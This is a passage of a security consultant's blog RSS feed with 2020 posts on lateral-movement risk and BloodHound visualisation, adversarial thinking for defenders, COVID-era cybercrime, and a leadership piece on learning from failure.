<p>Companies must consider third party cybersecurity levels as carefully as they do the security policies for employees and customers. It is critical to assess supply chain continuity and resilience controls to the new way of working.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this continually changing landscape, cybersecurity teams have generally performed far above expectations to address new risks.</p>
<p>In the new normal, cybersecurity leaders will protect their organizations at scale, making security an integral part of delivering business value.</p>
]]></content>
        </item>
        
        <item>
            <title>Visual Thinking for Cybersecurity</title>
            <link>https://www.nephos.guru/posts/2020/visual_thinking/</link>
            <pubDate>Fri, 16 Oct 2020 12:00:41 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2020/visual_thinking/</guid>
            <description>&lt;p&gt;You may be thinking from the title of this article, why do I need to think visually? Well, last week, I had an interesting conversation with a Senior Executive about security and that even something as simple as his website could allow for a more extensive compromise and a threat to his business.&lt;/p&gt;
&lt;p&gt;I am sure you can imagine how the conversation went as his first response was, “this is not part of the production network,” and in this case, he was right. This statement was the beginning of a discussion about lateral movement from a threat actors perspective and how access can lead to the exploitation of high-value targets. There are so many ways that an attacker can get into a network from simple misconfigurations on a web-facing service to phishing emails.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>You may be thinking from the title of this article, why do I need to think visually? Well, last week, I had an interesting conversation with a Senior Executive about security and that even something as simple as his website could allow for a more extensive compromise and a threat to his business.</p>
<p>I am sure you can imagine how the conversation went as his first response was, “this is not part of the production network,” and in this case, he was right. This statement was the beginning of a discussion about lateral movement from a threat actors perspective and how access can lead to the exploitation of high-value targets. There are so many ways that an attacker can get into a network from simple misconfigurations on a web-facing service to phishing emails.</p>
<p>To demonstrate and make a point, I showed him a copy of BloodHound; it was stored on my machine and loaded with sample data about how the network looked (collected from a low-level authenticated user). Bloodhound provides not only a visual representation of the environment but also paths of attack to a target with the only requirement being you have an AD Authenticated User.</p>
<p><img src="/assets/bloodhound.png" alt="Bloodhound Visualisation"></p>
<p>Information is in multiple spreadsheets, systems, and the completeness is usually “point in time.” Not having up to date information stored in lists without seeing all the relationships makes it very challenging, if not nearly impossible, to defend a network from an attack. The situation only gets worse the larger the organisation. You then have dedicated teams looking after functions such as Server Team, Network Team, End Users, Backups, AV, etc.</p>
<p>If we look at a Windows Network, users can perform various types of logons (Interactive, Terminal Server, and others). In each of these, the users’ credentials (including SSO equivalents, Kerberos TGT, or NTLM hash) are all exposed to theft if the underlying host is compromised.</p>
<p>There are, of course, other relationships that create security dependencies such as:</p>
<ul>
<li>Local admin accounts with a standard password</li>
<li>File Servers with Logon Scripts or Software Update Servers</li>
<li>Print Servers</li>
<li>Certificate Authorities for Smart Cards</li>
<li>and many others,</li>
</ul>
<p>The underlying message is that once an attacker gets inside your network, it is just a waiting game for a high-value target to log on to the compromised machine. If you have a Terminal Server in your environment, how many users log in, and are any of those using an administrative account? If so, a password dumper tool such as Mimikatz can give you those credentials that can compromise more machines.</p>
<p>So how do we move to visual thinking as a defender? Visualise your network and implement controls to minimise lateral movement:</p>
<ul>
<li>Implement infrastructure partitioning and credential silos to reduce unwanted edges</li>
<li>Reduce the number of Admins. Implement Just-In-Time/Least Privilege techniques</li>
<li>Use Two Factor Authentication to mitigate specific edge traversals.</li>
<li>Ues a robust credential rotation approach in the event a user account is compromised.</li>
<li>Rethink Forest Trust Relationships</li>
</ul>
<p><strong>Key Takeaway</strong></p>
<p>You have the upper hand when it comes to defending your network as you have the full information about it, whereas an attacker has to build it up piece by piece.</p>
<p>Take a lesson from attackers about how they understand your network and then apply the same principles to identify weaknesses and secure them.</p>
]]></content>
        </item>
        
        <item>
            <title>How to Think Like a Hacker!</title>
            <link>https://www.nephos.guru/posts/2020/think_like_a_hacker/</link>
            <pubDate>Wed, 07 Oct 2020 18:53:34 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2020/think_like_a_hacker/</guid>
            <description>&lt;p&gt;What do you picture when you think of a hacker? Are they sitting in a dark room with a glow of computer monitors wearing a dark hoodie, listening to fast-paced music and frantically trying to perform multiple tasks? If this is the image you envision, then you aren’t alone as this image has been portrayed so well by Hollywood.&lt;/p&gt;
&lt;p&gt;Hackers, as we know it today, e.g. black hat, white hat, have been around since at least November 1963 when the term first appeared in the MIT newspaper, The Tech.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>What do you picture when you think of a hacker? Are they sitting in a dark room with a glow of computer monitors wearing a dark hoodie, listening to fast-paced music and frantically trying to perform multiple tasks? If this is the image you envision, then you aren’t alone as this image has been portrayed so well by Hollywood.</p>
<p>Hackers, as we know it today, e.g. black hat, white hat, have been around since at least November 1963 when the term first appeared in the MIT newspaper, The Tech.</p>
<p>The term hacking is everywhere today and used to describe ways to change what is perceived to be normal behaviour. Terms such as bio-hacking (do it yourself biology experiments), growth hacking (use of creative, low-cost strategies to acquire and retain customers) and even “hacking the happiness molecule.”</p>
<p>So what does this have to do with thinking like a hacker? Before I go into that, we are all creatures of habit, and from the moment we are born, we have behaviours that we develop over time. As we age, these become more complex and nuanced to the point that we operate on autopilot for many tasks, and our life becomes predictable. Our days are well structured as to what time we get up, coffee breaks, lunch and time we stop working and go home. Add into this social media and the “always-connected” lifestyle that we live and it is easy to see how one day starts to look like the next.</p>
<p>So when we look at hackers (computer, bio, growth hackers et al.) the one common trait that I see is they all have an innate curiosity about how things work. It is about how they look at the world and for example, from a cybersecurity perspective when they come across a website or domain; they ask questions, a LOT of them such as:</p>
<ul>
<li>What are their subdomains?</li>
<li>What ports are open?</li>
<li>Is this a sensitive site?</li>
<li>Which certs are about to expire?</li>
<li>Which of these sites is running WordPress?</li>
<li>Who works at this company?</li>
<li>Do they have any open S3 buckets?</li>
<li>Are they serving Databases?</li>
</ul>
<p>As you can see this continual curiosity for those who are looking for security vulnerabilities to exploit requires that defenders need to think in the same way, which is an adversarial approach.</p>
<p>Given the adversarial nature of computer security which is always in a constant state of flux, the individual actions of the attacker and defender will continually change the state of play. So to learn how to think like a hacker, you need to:</p>
<ul>
<li>Understand the tools, techniques and patterns of an attacker.</li>
<li>What are the goals of an attacker? While in a CTF it may be to get the Domain Admin account, in real life, this may not be the primary target. It could be a database with customer details, sensitive information about employees, source code etc.</li>
<li>Have intelligence about what information is available about you and your organisation on the public domain (Surface Web, Deep Web, Dark Web).</li>
<li>Study and appreciate past attacks to understand approaches and the techniques used and then ask and answer honestly what is your risk exposure to these?</li>
<li>Don’t just use the technology as a tool, but understand how each of the components works together, how it’s configured, what happens if you change values.</li>
</ul>
<p>There are many excellent resources to understand the tools and techniques used by cybercriminals, and two that I like are MITRE’s Att&amp;CK framework which is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations and The Cyber Kill Chain by Lockheed Martin which is part of their Intelligence Drive Defense model for the identification and prevention of cyber intrusions.</p>
<p><img src="/assets/cyberkillchain.png" alt="Cyber Kill Chain"></p>
<p>The final skill to develop is “oblique thinking” which is a skill that is finely honed in hackers as there is often no direct path to the objective. The ability is in identifying assumptions that you have made and then finding ways that you can violate these to move you along the path to your target. An example of this is that if you look at a payment processing system, there are several gates that you need to pass before you can complete the process. The developer has designed this sequentially in that you go through them in order, but what if you could skip some steps? How can you test this? What has to be true for this to occur and so on. When you look at this problem and then start breaking it down into known and unknown assumptions, you can begin to see new ways to exploit a system.</p>
<p>By thinking differently, asking questions and looking at things from a different angle, you will start to see areas for improvement and stay one step ahead of the threat.</p>
<p>Happy hacking :)</p>
]]></content>
        </item>
        
        <item>
            <title>One Problem at a Time</title>
            <link>https://www.nephos.guru/posts/2020/one_problem/</link>
            <pubDate>Thu, 30 Jul 2020 00:27:44 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2020/one_problem/</guid>
            <description>&lt;p&gt;Last week I had a small accident that left me hindered for a few days as I was recovering, and due to the nature of the injury, I had to lie down on my side. I took this time to catch up on reading and watched some TV as wasn&amp;rsquo;t really in a position to do much more over the weekend.&lt;/p&gt;
&lt;p&gt;While all this was happening, I was thinking to myself; I don&amp;rsquo;t need this, I have enough problems that I need to sort out. It was while I was thinking this that on the TV I heard the term &amp;ldquo;One problem at a time&amp;rdquo;. That quote reminded me of an incident that I was told about from Operation Eagle Claw on 24 April 1980.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Last week I had a small accident that left me hindered for a few days as I was recovering, and due to the nature of the injury, I had to lie down on my side. I took this time to catch up on reading and watched some TV as wasn&rsquo;t really in a position to do much more over the weekend.</p>
<p>While all this was happening, I was thinking to myself; I don&rsquo;t need this, I have enough problems that I need to sort out. It was while I was thinking this that on the TV I heard the term &ldquo;One problem at a time&rdquo;. That quote reminded me of an incident that I was told about from Operation Eagle Claw on 24 April 1980.</p>
<p>Operation Eagle Claw was the failed attempted rescue of hostages in the US Embassy in Tehran. Frank MacAlyster, a member of the US Delta Force at the time, was asleep in the C-130 Hercules aircraft which was parked when a helicopter crashed into it. Frank woke up surrounded by flames and smoke, thinking that the plane was still in the air, he decided that the best course of action was to jump out of the plane, which he did with no parachute.</p>
<p><img src="/assets/parachute.png" alt="Parachute Joke"></p>
<p>When asked a few days later what he was going to do once he was out of the plane without a parachute, Frank replied,</p>
<blockquote>
<p><strong>&ldquo;One problem at a time Sarge, one problem at a time&rdquo;</strong></p>
</blockquote>
<p>Today, with the COVID19 pandemic, industries are being disrupted, people are losing their jobs and, we all need to change our perspective to not only solving &ldquo;one problem at a time&rdquo;, but also to the mindset of &ldquo;this too shall pass&rdquo;.</p>
<p>With everything that is going on, it is easy to lose sight of the big picture and focus on the immediate problem, as we saw in the earlier example, but this needs to put into context that what we are facing today shall pass and is a temporary condition.</p>
<p>I had seen this when I was in Australia with the Mining Sector, which only has two states, Boom or Bust. During the boom period, everyone is so busy trying to maximise production output and stretch resources to take advantage of the situation; there is no time for anything else. When it is in the bust period, it is about shutting down mines, retrenching staff and cutting costs. While some of this may be necessary for the longevity of the business, it is during these quiet times, that critical work on systems and processes should be undertaken in preparation for the next boom.</p>
<p>Together we will get through this. Stay strong and healthy, and if you are struggling, help is available.</p>
]]></content>
        </item>
        
        <item>
            <title>Staying One Step ahead of the Cybercriminals</title>
            <link>https://www.nephos.guru/posts/2020/one_step_ahead/</link>
            <pubDate>Fri, 03 Jul 2020 00:27:44 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2020/one_step_ahead/</guid>
            <description>&lt;p&gt;Security seems to be the one area that each year we spend more money than we did the previous year to stay one step ahead of the threat. Yet, every year there seem to be more and more significant security breaches!&lt;/p&gt;
&lt;p&gt;So, we ask for more money again, and the cycle repeats like a bad case of deja vu or is it just a &amp;ldquo;glitch in the Matrix&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;As with many things in life, it is not enough to know the rules, you need to understand how to play the game if you are to be successful. A famous quote from Bill Shankly sums it up entirely &amp;ldquo;The trouble with referees is that they know the rules, but they do not know the game.&amp;rdquo; So what does this have to do with Security?&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Security seems to be the one area that each year we spend more money than we did the previous year to stay one step ahead of the threat. Yet, every year there seem to be more and more significant security breaches!</p>
<p>So, we ask for more money again, and the cycle repeats like a bad case of deja vu or is it just a &ldquo;glitch in the Matrix&rdquo;.</p>
<p>As with many things in life, it is not enough to know the rules, you need to understand how to play the game if you are to be successful. A famous quote from Bill Shankly sums it up entirely &ldquo;The trouble with referees is that they know the rules, but they do not know the game.&rdquo; So what does this have to do with Security?</p>
<p>There are a lot of organisations that believe that Compliance equals Security. This couldn&rsquo;t be further from the truth, and before I get flamed about this statement, let me clarify why. Compliance is a point in time assertion against a &ldquo;specific set of security requirements&rdquo;. Those standards from organisations such as NIST and ISO are an excellent starting point, and many of these standards have become a benchmark for industry best practices. Therefore, if these are best practices, then why does this not this equal Security? The main reason is the depth of the rules. They aren&rsquo;t prescriptive enough and nor can they be given the rapid rate of change with technology and the types of attacks. While closing this argument out, look at some of the most significant security breaches in the last few years, and they have all been certified to one standard or the other.</p>
<p>In recent months we have undergone massive changes in how we live and work as a result of Covid-19. As a result, we have seen an enormous uptake in cybercrime such as:</p>
<ul>
<li>
<p><strong>Malicious Domains</strong> - The interest in Covid-19 has spawned a mass uptake in domain names that contain &ldquo;coronavirus&rdquo;, &ldquo;covid19&rdquo; etc. While some are legitimate, cybercriminals are creating thousands of new sites to carry out spam campaigns, phishing or to spread malware.</p>
</li>
<li>
<p><strong>Malware</strong> - Widespread global communications related to the coronavirus are being used to mask criminal activities. Malware, spyware and Trojans have been found embedded in interactive coronavirus maps and websites. Spam emails are also tricking users into clicking on links which download malware to their computers or mobile devices.</p>
</li>
<li>
<p><strong>Ransomware</strong> - Attacks against Hospitals and other agencies on the frontline during the pandemic as they are more likely to pay as they can&rsquo;t afford to be offline.</p>
</li>
</ul>
<p>There are several correlations between physical and cybersecurity and, having spent several years in the Military we used to have a term called &ldquo;soft targets&rdquo; and &ldquo;hard targets&rdquo;. Cybercriminals, regardless of how determined are also opportunists who are seeking out easy victims. They are looking for &ldquo;soft targets&rdquo; who are:</p>
<ul>
<li>
<p><strong>Accessible</strong> - If you&rsquo;re easily accessible, your odds of being a victim increase.</p>
</li>
<li>
<p><strong>Predictable</strong> - If you do the same thing and respond the same to all types of events, you make the attackers job simple.</p>
</li>
<li>
<p><strong>Complacent</strong> - A soft target is unaware of their surroundings, not vigilant to potential threats and not assertive about self-protection.</p>
</li>
</ul>
<p>Remember, it is not enough to know the rules you need to play the game, and with cybersecurity, it is about striving to be a &ldquo;hard target&rdquo; that is:</p>
<ul>
<li>
<p><strong>Inaccessible</strong> - You keep the attack surface as small as possible</p>
</li>
<li>
<p><strong>Unpredictable</strong> - You don&rsquo;t offer patterns or routines that an attacker can use</p>
</li>
<li>
<p><strong>Vigilant</strong> - You monitor your environment and take active steps to protect yourself. In short, you make it evident that you are paying attention and respond accordingly.</p>
</li>
</ul>
<p>If you have finished reading this and think, &ldquo;I don&rsquo;t have any data worth stealing&rdquo; then think again. One of the most sought after and most profitable items in the black market are social media credentials, IDs, passports, utility bills etc. So what makes the above so valuable? The more you understand a person&rsquo;s life and behaviour, the easier it is for the threat actor to impersonate them. This opens up a multitude of other attack vectors such as phishing or worse, identity theft and fraud.</p>
<blockquote>
<p><em>&ldquo;The five most efficient cyber defenders are: Anticipation, Education, Detection, Reaction and Resilience. Do remember: &ldquo;Cybersecurity is much more than an IT topic.&rdquo;</em> - Stephane Nappo.</p>
</blockquote>
]]></content>
        </item>
        
        <item>
            <title>Winning... by Failing?</title>
            <link>https://www.nephos.guru/posts/2020/winning_by_failing/</link>
            <pubDate>Tue, 04 Feb 2020 00:27:44 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2020/winning_by_failing/</guid>
            <description>&lt;h2 id=&#34;how-adopting-a-fail-fast-fail-often-fail-smarter-approach-can-lead-to-success-in-innovation-and-transformation&#34;&gt;How adopting a fail fast, fail often, fail smarter approach can lead to success in innovation and transformation&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;“Failure is Awesome; I love to Fail!”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;said no one &lt;strong&gt;EVER&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;When we think of failure it conjures up a range of emotions from inadequacy, worthlessness to why try as I am never going to succeed.  This type of self-critical talk is not right for anyone and do you know what, everyone fails (more often than we realise).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="how-adopting-a-fail-fast-fail-often-fail-smarter-approach-can-lead-to-success-in-innovation-and-transformation">How adopting a fail fast, fail often, fail smarter approach can lead to success in innovation and transformation</h2>
<p><em>“Failure is Awesome; I love to Fail!”</em></p>
<p>said no one <strong>EVER</strong>!</p>
<p>When we think of failure it conjures up a range of emotions from inadequacy, worthlessness to why try as I am never going to succeed.  This type of self-critical talk is not right for anyone and do you know what, everyone fails (more often than we realise).</p>
<p>It is easy to look around and see examples of failures and below are a few images of ones ranging from simple spelling mistakes.</p>
<p><img src="/assets/stop.png" alt="Incorrect Stop Sign"></p>
<p>To sending mixed messages to those to are trying to get into a building</p>
<p><img src="/assets/typo.png" alt="Typo on Door Signage"></p>
<p>To my favourite of these being a case of mistaken identity when a well-known brand expands its product offerings (I am not sure about you but when I see this I picture a toothbrush with a dab of Lasagna on it)</p>
<p><img src="/assets/colgate.png" alt="Colgate Lasagna"></p>
<h2 id="what-does-failure-mean-to-you">What does Failure mean to you?</h2>
<p>Before we list some common reasons, I want to point out that there is a difference between feeling like a failure and failing at something.  We will cover some of the most common opinions and beliefs about failure.</p>
<ul>
<li>No common sense</li>
<li>Stupidity</li>
<li>Bad decisions and judgement</li>
<li>Lack of thinking</li>
<li>Idiocy</li>
<li>Lack of Intelligence</li>
</ul>
<p>The above reasons come from your interpretation of who you are and the transference of these onto others when they fail.  Failing is just failing and a healthy and unavoidable part of our everyday life. No one is immune!</p>
<p>At an organisational level, I have been to many companies and met individuals who continuously say <em>“we’ve never failed, we don’t know how to fail”</em>, and this attitude will blindside them and the organisation every time.</p>
<h2 id="learning-fast-from-fail-fast">Learning Fast from Fail Fast</h2>
<p>At an organisational level, seven principles need to exist as part of the culture:</p>
<ol>
<li>
<p>Celebrate the Learning Process - We only master skills by learning what works and doesn’t work.  A perfect example of this is to watch children when they are beginning to learn to walk. They don’t just decide one day that they are going to walk and master it, they stumble, fall, bump into things and each time make small adjustments, get some help from their parents and before long they are walking around independently.</p>
</li>
<li>
<p>Create a Culture of Trust and Respect - Everyone needs to feel safe and secure and if we are to indeed find the next major breakthrough or make significant changes in the organisation, then we need to be in a culture that trusts that we are doing right by the organisation and that they respect us to be there for us.</p>
</li>
<li>
<p>Have a Fast Mourning Curve - As stated earlier, failure is inevitable and when we encounter this in our organisation we should review what happened, extract the lessons learnt and then move on.  We can’t continually dwell in the past and nor can we continue to hold this over the heads of those involved.</p>
</li>
<li>
<p>Accept Failure, Forgive, Don’t Forget - This is important as failure will happen, but we also don’t want to forget the lessons learnt from the past and keep making the same mistakes over and over again.</p>
</li>
<li>
<p>Move fast and break things - This principle comes from Facebook and whilst I agree that we need to put more emphasis on action, this is dependant on the stage of the organisation and the nature of our business.  This needs to be adapted based for our organisation but the principle itself is essential as we look around markets are being continuously disrupted and it would be better if we internally disrupted our business and industry before the competition does.</p>
</li>
<li>
<p>Be Accountable! - This principle is near and dear to my heart as at the end of the day if you are given the opportunity and something goes wrong, you need to take accountability for it, fix it.</p>
</li>
<li>
<p>Persistence - “Continuous effort - not strength or intelligence - is the key to unlocking our potential” - Winston Churchill</p>
</li>
</ol>
<h2 id="how-do-i">How do I&hellip;</h2>
<p>When you look at the above the first thing that should pop into your mind is that these are all common sense and we do it anyway.  I completely understand this mindset as who would say that they have a culture that doesn’t embrace respect, trust and learning?</p>
<p>What we say and think versus what we do is often not aligned or people within our organisations at middle levels of management aren’t living by these values and principles.</p>
<p>To get around this and what has been successful for me in the past is to focus on 2 or 3 of the above principles as linchpins to change and then once we get some traction the rest will fall into line.  The ones that I focus on initially are the following in order and some steps to implement them in your organisation:</p>
<ul>
<li>
<p>Create a Culture of Trust and Respect - For any change to be implemented there has be a feeling of safety and whilst I am sure there are people saying I can’t control the culture of the company you are correct, but you can control this within your team and your sphere of influence.  If you are a team leader then by providing an environment that as the leader you pass credit to your team and if things go wrong you shield them and you take accountability when it goes wrong then your team will see that you have their backs and this builds trust.</p>
</li>
<li>
<p>Celebrate the Learning Process - This is achieved by giving people an opportunity to take on tasks that are outside their comfort zone and getting them to relook at how things are currently working by challenging them to find ways to improve the process.</p>
</li>
<li>
<p>Accept Failure, Forgive, Don’t Forget - This is the next logical step to the previous point because as soon as you challenge people to take on new skills it is inevitable that failure will occur.   This is the most important thing in that when things go wrong, and they will that you remain calm, provide them with the opportunity to correct this and use it as part of learning development to get them comfortable with making changes and failure.  One of the things that I like to do is to host a “Failure Party” and get everyone together in a relaxed environment. We then discuss the changes that have been made in a non-judgemental manner without identifying staff to celebrate what didn’t go to plan and how this ultimately leads to overall success.</p>
</li>
</ul>
<p>I have had the opportunity to apply these principles many times in my career and I like to take a slightly different approach in that I don’t refer to it as failures, but merely as learnings.  The reason for doing so is to circumvent the perception that the word failure has in many cultures, but still applying all the above principles and approach.</p>
<p>I have found that when we call it “learnings” you can then come up with a hypothesis on how to solve a problem such as “How do we reduce Customer Interactions by x%?”  When you do this you are able to come up with a number of possible reasons and try these in a controlled manner to prove or disprove that they work.</p>
<p>There is a belief that we make a decision and then execute and we get the final result.  This is a false belief as no single decision or approach just works out of the box. There are many decisions in between and many of these are wrong, but if we have a way to measure and track then we can course-correct quickly as part of a fast iterative cycle.</p>
<h2 id="the-upside-of-failure">The Upside of Failure</h2>
<p>The following are some results that were achieved in just one quarter by applying the above principles for Australian Operations of a company in the Telecommunications industry:</p>
<ul>
<li>
<p>94.8% reduction in Call Volume</p>
</li>
<li>
<p>61.63% reduction in the cost for Inbound Call Charges</p>
</li>
<li>
<p>50.11% Improvement in Voice Average Speed to Answer</p>
</li>
<li>
<p>35.71 increase in Number of Chat Interactions</p>
</li>
<li>
<p>47.98% reduction in Cost to Serve</p>
</li>
<li>
<p>31./71% reduction in Operations Staff</p>
</li>
</ul>
<h2 id="wrapping-up">Wrapping Up</h2>
<p>Failure is part of life, we all fail and there is no getting around it.  The most successful people are also those to have experienced the most failure and what makes them different is a single realisation which is a failure and feeling like a failure aren’t intertwined.</p>
<blockquote>
<p><em>Failure is temporary and it only becomes permanent if you don’t do anything about it!</em></p>
</blockquote>
]]></content>
        </item>
        
    </channel>
</rss>
